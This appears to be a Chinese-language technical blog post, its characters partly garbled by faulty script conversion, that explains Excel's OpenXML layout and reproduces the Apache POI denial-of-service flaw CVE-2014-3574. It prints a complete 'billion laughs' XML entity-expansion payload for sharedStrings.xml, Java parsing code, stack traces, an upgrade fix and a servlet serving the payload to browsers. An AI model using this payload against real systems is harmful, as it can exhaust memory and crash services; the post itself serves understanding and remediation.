1、概述前端
最先的時候,java開發人員在操做excel的時候,用的最多的框架應該是poi、jxl。隨着office的不斷髮展,office2007開始支持openXML的協議,後續陸續出現了新的框架支持操做office,如docx4j等。openXML使得數據的結構、組成更加透明,能夠經過必定的操做看到內部完整的結構,若是仔細研究內部的屬性,還能夠進行更深層次的操做。固然,有利有弊,這也在必定程度上帶來了麻煩,由於文件能夠隨意的更改內部的組成,在必定程度上給相關係統形成麻煩。java
2、excel2007+的結構預覽web
關於更多openXML的信息,能夠搜索查閱。下面主要對於excel的目錄結構進行說明。apache
一、新建一個excel後端
要求爲2007或以上,能夠隨便填寫一些內容,而後將後綴更改成.zip,而後用壓縮軟件進行解壓,查看目錄結構,以下:瀏覽器
二、對xl目錄下的文件進行分析服務器
3、漏洞CVE-2014-3574現象app
該漏洞可查看POI拒絕服務漏洞。該漏洞的本質是對xml進行解析的時候會進行N屢次的遞歸,有點死循環的現象,形成CPU瞬間100%。若是該漏洞被攻擊,可能致使業務不正常甚至服務器崩潰。若是是正常的office文件建立,是不會出現該問題的,只有在特定人爲狀況下,該漏洞纔可能出現。框架
4、結合代碼復現漏洞dom
在第二點說明excel內部結構的時候,能夠看到內部有個shareStrings.xml,該文件主要用於常量字符串的定義。sheet.xml中會對該文件中的值進行依賴引用。因此要解析excel,事先確定須要先將常量進行解析。下面的漏洞是對該文件進行操做形成的。
一、使用POI進行解析
我使用的是POI3.8
import java.io.FileInputStream; import org.apache.poi.ss.usermodel.Sheet; import org.apache.poi.xssf.usermodel.XSSFWorkbook; public class TestExcel { public static void main(String[] args) throws Exception{ XSSFWorkbook wb = new XSSFWorkbook(new FileInputStream("D:/test.xlsx")); Sheet sheet = wb.getSheetAt(0); System.out.println(sheet.getPhysicalNumberOfRows()); } }
若是是新建立的文件,此處能夠正常打印出物理行數。
二、修改sharedStrings.xml,再進行運行
用zip打開excel文件,將sharedStrings.xml修改爲如下內容
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
再從新運行,能夠看到程序並不會很快的打印出物理行數,而是不斷的運行(若是加啓動參數verbose:gc,能夠看到內存的不斷回收)。過一下子以後程序報出內存溢出的錯誤。正常來講,這個excel文件只有幾K,應該是很快就能夠獲得結果,可是卻運行了這麼久,並且內存溢出,說明程序的某個地方可能進行了相似於死循環的狀況。
三、再次調整sharedStrings.xml並運行
將sharedStrings.xml內容改成以下:
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> ]> <lolz>&lol2;</lolz>
執行,發現程序拋出以下異常:
Exception in thread "main" org.apache.poi.POIXMLException: java.lang.reflect.InvocationTargetException at org.apache.poi.xssf.usermodel.XSSFFactory.createDocumentPart(XSSFFactory.java:62) at org.apache.poi.POIXMLDocumentPart.read(POIXMLDocumentPart.java:403) at org.apache.poi.POIXMLDocument.load(POIXMLDocument.java:155) at org.apache.poi.xssf.usermodel.XSSFWorkbook.<init>(XSSFWorkbook.java:190) at TestExcel.main(TestExcel.java:10) Caused by: java.lang.reflect.InvocationTargetException at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:39) at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:27) at java.lang.reflect.Constructor.newInstance(Constructor.java:513) at org.apache.poi.xssf.usermodel.XSSFFactory.createDocumentPart(XSSFFactory.java:60) ... 4 more Caused by: java.io.IOException: error: The document is not a sst@http://schemas.openxmlformats.org/spreadsheetml/2006/main: document element mismatch got lolz at org.apache.poi.xssf.model.SharedStringsTable.readFrom(SharedStringsTable.java:125) at org.apache.poi.xssf.model.SharedStringsTable.<init>(SharedStringsTable.java:102) ... 9 more
此時沒有拋出異常,說明對該文件的解析已經完成,而且斷定了該文件的格式不正確。
四、分析
首先對sharedStrings.xml中添加的內容進行分析。拿第二點的數據,<lolz>&lol9;</lolz>表明引用ENTITY lol9,而ENTITY lol9由10個lol8組成,每一個lol8又是由10個1ol7組成,因此將會一直的遞歸,次數會達到10^9。該次數可能致使機器短期內的CPU暴漲,據計算,須要將近3G的內存,因此運行的時候,程序會不斷在跑,最終拋出內存溢出的錯誤,若是在一臺內存足夠大的機器上,應該是CPU一直沾滿,程序一直在跑直到結束爲止;第3點的數據,因爲數據很小,只有10^2=100次的計算,因此程序很快就結束,繼續下面的流程時檢查到文件內的格式等錯誤,拋出了相應的異常。
五、解決方案
將POI升級到3.12能夠解決該問題,運行過程當中會拋出異常。運行剛剛的文件,會拋出異常
Exception in thread "main" java.lang.NullPointerException at com.sun.org.apache.xerces.internal.dom.DeferredDocumentImpl.setChunkIndex(DeferredDocumentImpl.java:1944) at com.sun.org.apache.xerces.internal.dom.DeferredDocumentImpl.appendChild(DeferredDocumentImpl.java:644) at com.sun.org.apache.xerces.internal.parsers.AbstractDOMParser.characters(AbstractDOMParser.java:1191) at com.sun.org.apache.xerces.internal.impl.dtd.XMLDTDValidator.characters(XMLDTDValidator.java:862) at com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl.scanDocument(XMLDocumentFragmentScannerImpl.java:463) at com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(XML11Configuration.java:807) at com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(XML11Configuration.java:737) at com.sun.org.apache.xerces.internal.parsers.XMLParser.parse(XMLParser.java:107) at com.sun.org.apache.xerces.internal.parsers.DOMParser.parse(DOMParser.java:225) at com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl.parse(DocumentBuilderImpl.java:283) at javax.xml.parsers.DocumentBuilder.parse(DocumentBuilder.java:124) at org.apache.poi.util.DocumentHelper.readDocument(DocumentHelper.java:96) at org.apache.poi.openxml4j.opc.internal.unmarshallers.PackagePropertiesUnmarshaller.unmarshall(PackagePropertiesUnmarshaller.java:108) at org.apache.poi.openxml4j.opc.OPCPackage.getParts(OPCPackage.java:713) at org.apache.poi.openxml4j.opc.OPCPackage.open(OPCPackage.java:275) at org.apache.poi.util.PackageHelper.open(PackageHelper.java:37) at org.apache.poi.xssf.usermodel.XSSFWorkbook.<init>(XSSFWorkbook.java:266) at TestExcel.main(TestExcel.java:10)
5、擴展
若是前端請求,後端響應XML內容,XML的內容如上,結果會怎樣呢?測試代碼以下
public class TestServlet extends HttpServlet { @Override protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.setContentType("text/xml;charset=utf-8"); InputStream is = new FileInputStream(new File("d:/test.xml")); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String s = null; while((s = reader.readLine())!=null){ resp.getWriter().write(s); } reader.close(); resp.getWriter().close(); } } web.xml配置: <servlet> <servlet-name>test</servlet-name> <servlet-class>TestServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>test</servlet-name> <url-pattern>/test.do</url-pattern> </servlet-mapping>
前端請求http://localhost:8080/poi/test.do若是xml文件的個數比較少,到lol2,則Chrome和IE均可以打開顯示內容:
,可是,若是將個數調整爲3個以上,則IE瀏覽器仍然會繼續渲染10^N,可是Chrome此時已經有了提示,說XML中存在循環: